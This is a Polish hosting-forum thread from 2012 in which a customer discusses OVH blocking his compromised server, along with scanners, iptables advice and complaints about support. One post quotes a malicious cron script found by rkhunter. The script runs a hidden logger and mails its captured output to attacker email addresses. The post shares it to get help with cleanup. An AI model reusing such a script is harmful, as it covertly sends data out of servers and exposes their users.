OVH Community, your new community space.

Attack: many flows between 2 IPs


gshegosh
13-09-2012, 08:39
Powinienem odszczekać swoje ranty względem OVH, bo maszynę mam nieźle spaloną.

Używam tam Virtualmina, chcę pozrzucać backupy i odtworzyć je na innej maszynie, gdzie jest poaktualizowany system operacyjny. Virtualmin trzyma rzeczy dostępne przez WWW w /home/*/public_html oraz /home/*/domains/*/public_html -- czy jeśli usunę z tych katalogów ewentualne zmiany wprowadzone przez rootkit, to po przeniesieniu na nową, aktualniejszą maszynę będzie to już OK, czy są jeszcze inne wektory ataku, które powinienem sprawdzić?

Użyłem Rootkit Huntera i znalazł on taki badziew w /etc/cron.daily/dnsquery:

Kod:
#!/bin/sh
cd /usr/lib/
./popauth -r httpd.log > test
cat /usr/share/misc/blah/temp.log |uniq >> test
echo >/usr/share/misc/blah/temp.log
mail unul_catalin@yahoo.com -s "$(hostname -f)" < test
mail cata@catalinx.org -s "$(hostname -f)" < test
rm -rf test httpd.log
A=$PATH
killall -9 popauth
export PATH=/usr/lib/
popauth -w httpd.log &
export PATH=$A
Ponieważ robię raz na dobę rdiff-backupem kopię całego systemu plików, to zidentyfikowałem datę pierwszego pojawienia się tego pliku. Planuję porównać wszystkie pliki sprzed tej daty z aktualnymi i w ten sposób znaleźć wszystkie modyfikacje wprowadzone przez rootkit.

Przy okazji -- jaki jest koszt i kogo polecacie do profesjonalnego zabezpieczenia serwera przed tego typu włamaniami? Ubuntu Server 12.04 + Virtualmin GPL to jest.

mario1973
13-09-2012, 08:12
Na nic kopie i odzyskiwanie, bo przecież 'to' g... i tak tam jest.

Pozostaje Ci tylko ręczna robota. Ręczna nie znaczy bezmyślne przeglądanie wszystkich plików.

TYPUJ skrypty którędy mogli się włamać. Na serwerze są tylko Twoje serwisy, czy też obce ?

Pisałeś, że programik znalazł i kasowałeś jakieś malware - czy pomyślałeś skąd się tam wzięły ?

Może podaj tu jakie skrypty używasz, a coś zaproponujemy.

Pisałeś, ze masz WP - czy zadbałeś o załatanie dziur z ponad roku dotyczących Timthumb ? - wiele skórek ich używa....

M

gshegosh
12-09-2012, 23:23
Zgłoszenie w menadżerze też zrobiłem, ale i tu, i tu jest olane ;-)

Ważniejsze usługi przeniosłem na inną maszynę (miałem na szczęście wolne IP failover, to udało mi się tę skompromitowaną po zgaszeniu usług podpiąć do internetu), ale jakieś docelowe rozwiązanie nadal jest mi potrzebne.

Format 1 dysku niestety odpada, bo to jest IP Failover które wskazuje na guesta w Citrix Xen, przecież nie sformatuję całego hosta przez to ;-)

cue
12-09-2012, 21:21
nie pisz na pomoc@ovh.pl tylko otworz zgloszenie w menadzerze do staffu w serwerowni.. bo odpowiedz od ovh.pl dostaniesz dopiero rano. a jak masz RAID1 SW to sformatuj jeden dysk i odpal serwer z drugeigo.. jakbys potrzebowal pomocy to wal na PW, przechodzilem to pare razy .

gshegosh
12-09-2012, 20:28
No do... jak ja mam backup z tego serwera teraz wysłać na inną maszynę, jak IP zablokowane oznacza brak możliwości ruchu także od serwera na zewnątrz.

Ktoś w OVH w ogóle przemyślał metodologię działania tej blokady, czy po prostu gdzieś mają klienta, niech sobie pojedyncza osoba spada na drzewo i tak suma sumarum zarobimy swoje????

Przy pierwszej blokadzie chociaż się pojawił e-mail i jego kopia w menadżerze z informacją o tym, jakie IP i porty były atakowane z mojej maszyny. Kolejna jest już zrobiona całkiem z partyzanta, bez ŻADNEJ informacji.

Ktoś tu pisał, żeby pisać na pomoc@ovh.pl, ale jakoś od paru godzin nikt nie odpowiada na maila.

Nie rozumiem, dlaczego anti-hack w OVH nie może się zachowywać tak, jak fail2ban -- skoro blokadę triggerują niepożądane działania z mojego serwera na konkretne IP, to czemu nie zablokują tylko ruchu na to IP zamiast całej maszyny?

To jest popierdzielone całkowicie, automat blokuje ci opłacone usługi przez całą dobę, a kontakt z człowiekiem jest możliwy od 7 do 17.

Tak sobie tutaj pokrzyczę, bo już nie mam pomysłu co jeszcze mogę zrobić poza czekaniem na łaskę kogoś z OVH. Domyślam się, że nikogo to nie obchodzi ani na forum, ani w samym OVH, ale polecałem tę serwerownię moim klientom i już tego robić nie będę.

gshegosh
12-09-2012, 19:19
No dobra, OVH zablokowało mi ten serwer ponownie, już bez opcji ręcznego włączenia.

Nie ma lub nie chcecie się podzielić narzędziami do wykrywania takich rzeczy, a ręcznie średnio sobie wyobrażam skuteczne sprawdzenie i likwidację malware'u -- ktoś chce to zrobić za pieniądze? Jaka byłaby cena takiej usługi?

Joshua
12-09-2012, 09:33
Cytat Napisał gshegosh
Ręczna robota jest średnio skuteczna moim zdaniem -- nie przejrzysz dokładnie setek plików.

Ale wiedziałem, że ktoś coś musiał wymyślić - http://www.rfxn.com/projects/linux-malware-detect/ - znalazło podejrzane skrypty, które po ręcznym sprawdzeniu okazały się faktycznie malware'ami.
Niestety, na maldetect bardzo się zawiodłem - NIGDY nie znalazł niczego nawet w bardzo zasyfionych katalogach...
Nie wiem jak i czym google skanuje strony - bo oni są akurat dosyć skuteczni... i pewnie się tym nie podzielą

gshegosh
11-09-2012, 23:04
Ręczna robota jest średnio skuteczna moim zdaniem -- nie przejrzysz dokładnie setek plików.

Ale wiedziałem, że ktoś coś musiał wymyślić - http://www.rfxn.com/projects/linux-malware-detect/ - znalazło podejrzane skrypty, które po ręcznym sprawdzeniu okazały się faktycznie malware'ami.

mario1973
10-09-2012, 17:43
Cytat Napisał gshegosh
Na tę chwilę poaktualizowałem software'y i tyle.
na 90% podrzucony kod gdzieś siedzi - prędzej czy później ktoś znowu go wykorzysta. Zatem spróbuj go poszukać. Może po datach utworzenia ?

Cytat Napisał gshegosh
Znacie Panowie i Panie jakiś dobry skaner do "webowego" malware'u? Tak na przyszłość? Jest coś lepszego do tego celu niż ClamAV?
według mnie tylko ręczna robota będzie skuteczna.

M

gshegosh
10-09-2012, 08:59
Na tym IP mam guesta citrix xen, a na nim vhost, e-mail i parę "dziwnych" usług typu SVN których używam ja sam.

Tak więc faktycznie, na maszynę mogłem się wbić przez xen managera, ale w netstacie nie było połączeń na IP o którym wspomniało OVH. Fakt, że zajrzałem dopiero dobre 6h po blokadzie.

Na tę chwilę poaktualizowałem software'y i tyle.

Znacie Panowie i Panie jakiś dobry skaner do "webowego" malware'u? Tak na przyszłość? Jest coś lepszego do tego celu niż ClamAV?

mario1973
10-09-2012, 08:54
co miałeś na tym IP ? tylko vhosta apachowego, czy może VPS ?

Jak Twój komp nawiązuje połączenia to w żadnych logach nie znajdziesz wspomnianego IP.

W sumie jak tylko wyłączyli IP to MIÓD, bo po zalogowaniu możesz zobaczyć procesy jakie pracują i bez problemu ustalić przyczynę. Gorzej jak maszyna jest off

W weekend miałem gnojka co puścił mi z jednej maszyny flooda na kogoś - szło 30 minut i ovh nie zdążyło zareagować na szczęście

M

gshegosh
09-09-2012, 17:00
Chciałbym dostać poza wycinkiem z loga link do strony opisującej mechanizm hack detect, gdzie byłoby napisane co to znaczy "semi hack" oraz czy w ogóle i jak mogę odblokować swoje IP failover. Oczekiwałbym również podania bezpośrednio w e-mailu dokładniejszego wyjaśnienia, co to jest "many flows" oraz podania numeru telefonu i e-maila, pod którymi mogę ewentualnie uzyskać więcej informacji.

Generalnie -- żeby nie trzeba było nic zgadywać, googlać czy pytać na forum, tylko podjąć od razu odpowiednie kroki i tyle.

Poza tym nadal nie jestem przekonany, czy problem jest na tyle poważny i zagrażający sieci OVH czy internetowi ogółem, żeby bez ostrzeżenia i automatycznie dokonywać blokady. Raczej nie płaci się kilkuset złotych miesięcznie po to, żeby mieć maszynę do zabawy -- bo do zabawy to sobie mogę bez kosztów postawić komputer na kablowym łączu UPC.

Ogólnie, jeśli OVH nie widzi niczego zdrożnego w mechanizmie automatycznie odcinającym komercyjnie wykorzystywane maszyny, to należałoby się nim chwalić już w momencie zakupu -- ja sobie nie przypominam, bym gdzieś dostał przed zapłaceniem informację, że OVH będzie odcinać moje IP z automatu.

slawqo
09-09-2012, 16:50
Cytat Napisał victor
Wystarczy żeby ustawil np. mysql-a (np. na niestandardowym porcie bo standardowy pewnie ovh whitelistowało) na swoim innym serwerze i będzie miał pewno "flowów" bez persystentnych połaczeń, co jest normalne. Więc taki hack detection jest niebezpieczny. Powinna być opcja do whitelistowania docelowych adresów IP dla tego filtra, whitelistowania swoich własnych serwerów
Tak i wiem, że jakiś czas temu takie sytuacje miały miejsce. Jednak z tego co wiem miały być wprowadzone jakieś dodatkowe reguły powodujące nie blokowanie za połączenia pomiędzy serwerami tego samego klienta (nichandle) - nie wiem czy coś takiego zostało wprowadzone, ale nie spotkałem się z taką sytuacją już dość dawno.

Cytat Napisał gshegosh
Blokada wszystkich wysokich portów wydaje mi się trochę przesadą... Przeskanowałem cały serwer ClamAVem i poza trojanami w folderach spamowych nie mam żadnego badziewia, są jakieś lepsze skanery który mogą wyszukać jakieś typowe malware'y powtykane w WordPressy i inne PHPy?

Co do działania OVH, to przede wszystkim zastanawia mnie, jak bardzo niebezpieczna jest tego typu dziura, żeby blokować bez wcześniejszego ostrzeżenia IP o 4:30 rano w niedzielę. Nie widzę w muninie, żebym w rzeczonym czasie generował jakiś megawielki ruch sieciowy na przykład.

W moim przypadku IP podane przez OVH to jakieś IP z Rumunii, być może faktycznie weszło jakieś badziewie na mój serwer przez jakiegoś WordPressa czy coś. Przecież nikt nie jest w stanie zabezpieczyć serwera z kilkunastoma domenami w 100%. Z pewnością chcę dostać informację od OVH o takim czymś, gdy zostanie wykryte, a w przypadkach długotrwałego braku reakcji popieram nawet blokowanie usług. Ale po pierwsze, niech to nie będzie za pierwszym "strzałem", a po drugie -- w godzinach pracy supportu.

Poza tym, informacja która przychodzi nt. hack detect nie zawiera żadnego wyjaśnienia, żadnego linka do dokumentacji, numeru telefonu do kontaktu -- nic. Dzwoniłem pod nr telefonu który ktoś podał w sąsiednim wątku na forum i - po angielsku - rozmawiałem z osobą, która miała tak samo zero informacji, jak ja. Opcję samodzielnego odblokowania IP wymacałem w menadżerze na własną rękę, ale znowu -- nie ma kogo zapytać, ani gdzie przeczytać co się stanie, jak problem się powtórzy. Czy ta opcja będzie zawsze dostępna?

Wiem, że bywają tu na forum pracownicy polskiego oddziału OVH, czy ktoś z Was może proszę przedstawić oficjalne stanowisku w sprawie hack detect? Totalny brak informacji raczej skłania mnie do poszukania innej serwerowni, nigdy nie wiem czy następnym razem nie trafi to na coś, za co biorę pieniądze od klientów.
Roboty, które wprowadzają taką blokadę działają 24h na dobę. Z tego co piszesz to dostałeś tylko blokadę na jeden IP failover i tzw. Semi-Hack skoro mogłeś sam odblokować adres IP w panelu manager. W mailu dostałeś również logi z połączeniami jakie powodowały problem.
Co do kontaktu z OVH to mogłeś napisać na pomoc@ovh.pl - w weekendy tą drogą można się również kontaktować. Jakie informacje chciałbyś otrzymać w takim mailu informującym o Hack Detection oprócz wycinka logu połączeń powodujących blokadę? O linkach do jakiej dokumentacji piszesz? Napisz coś więcej na ten temat - przekażę te informacje na pewno do odpowiednich osób.

gshegosh
09-09-2012, 13:45
Blokada wszystkich wysokich portów wydaje mi się trochę przesadą... Przeskanowałem cały serwer ClamAVem i poza trojanami w folderach spamowych nie mam żadnego badziewia, są jakieś lepsze skanery który mogą wyszukać jakieś typowe malware'y powtykane w WordPressy i inne PHPy?

Co do działania OVH, to przede wszystkim zastanawia mnie, jak bardzo niebezpieczna jest tego typu dziura, żeby blokować bez wcześniejszego ostrzeżenia IP o 4:30 rano w niedzielę. Nie widzę w muninie, żebym w rzeczonym czasie generował jakiś megawielki ruch sieciowy na przykład.

W moim przypadku IP podane przez OVH to jakieś IP z Rumunii, być może faktycznie weszło jakieś badziewie na mój serwer przez jakiegoś WordPressa czy coś. Przecież nikt nie jest w stanie zabezpieczyć serwera z kilkunastoma domenami w 100%. Z pewnością chcę dostać informację od OVH o takim czymś, gdy zostanie wykryte, a w przypadkach długotrwałego braku reakcji popieram nawet blokowanie usług. Ale po pierwsze, niech to nie będzie za pierwszym "strzałem", a po drugie -- w godzinach pracy supportu.

Poza tym, informacja która przychodzi nt. hack detect nie zawiera żadnego wyjaśnienia, żadnego linka do dokumentacji, numeru telefonu do kontaktu -- nic. Dzwoniłem pod nr telefonu który ktoś podał w sąsiednim wątku na forum i - po angielsku - rozmawiałem z osobą, która miała tak samo zero informacji, jak ja. Opcję samodzielnego odblokowania IP wymacałem w menadżerze na własną rękę, ale znowu -- nie ma kogo zapytać, ani gdzie przeczytać co się stanie, jak problem się powtórzy. Czy ta opcja będzie zawsze dostępna?

Wiem, że bywają tu na forum pracownicy polskiego oddziału OVH, czy ktoś z Was może proszę przedstawić oficjalne stanowisku w sprawie hack detect? Totalny brak informacji raczej skłania mnie do poszukania innej serwerowni, nigdy nie wiem czy następnym razem nie trafi to na coś, za co biorę pieniądze od klientów.

victor
09-09-2012, 13:07
Cytat Napisał slawqo
Te "flows" to połączenia pomiędzy dwoma różnymi IP i dwoma portami. Jeżeli więc nawiążesz połączenie ze swoim serwerem i będziesz przesyłał dane to będzie to cały czas jeden "flow". Jeżeli jednak z twojego serwera nawiązywane jest w bardzo wiele połączeń z innym IP i każde połączenie jest na innych portach to wtedy możesz dostać właśnie Hack'a za "too many flows".
Wystarczy żeby ustawil np. mysql-a (np. na niestandardowym porcie bo standardowy pewnie ovh whitelistowało) na swoim innym serwerze i będzie miał pewno "flowów" bez persystentnych połaczeń, co jest normalne. Więc taki hack detection jest niebezpieczny. Powinna być opcja do whitelistowania docelowych adresów IP dla tego filtra, whitelistowania swoich własnych serwerów

slawqo
09-09-2012, 13:03
Te "flows" to połączenia pomiędzy dwoma różnymi IP i dwoma portami. Jeżeli więc nawiążesz połączenie ze swoim serwerem i będziesz przesyłał dane to będzie to cały czas jeden "flow". Jeżeli jednak z twojego serwera nawiązywane jest w bardzo wiele połączeń z innym IP i każde połączenie jest na innych portach to wtedy możesz dostać właśnie Hack'a za "too many flows".

victor
09-09-2012, 13:03
Zablokuj iptables połaczenia wychodzące na wysokie porty docelowe i włącz logowanie tego typu zdarzeń wraz z uid (moduł owner) (regułą wcześniej w łańcuchu)

gshegosh
09-09-2012, 09:32
OVH bez ostrzeżenia wyłączyło mi IP, włączyłem je z powrotem z menadżera i zostawiłem na razie Apache'a wyłączonego, ale nie mogę znaleźć przyczyny problemy.

Od OVH dostałem takiego typu info:

2012-09-09 04:34:18 2012-09-09 04:34:18 94.23.95.XXX:52249 109.97.23.103:20028

Przegrepowałem całe /var/log pod kątem tego IP (109.97.23.103) i nic nie ma. Gdzie mogę zajrzeć jeszcze ewentualnie? Co dokładnie oznacza to "many flows", jak mam np. przegrać 15 giga backupu na swój własny serwer gdzieś, jak zaraz mi za to zablokują usługę??

Jeśli nikt nie będzie chciał podpowiedzieć na forum, co zrobić, proszę też o oferty na płatne sprawdzenie i usunięcie przyczyny.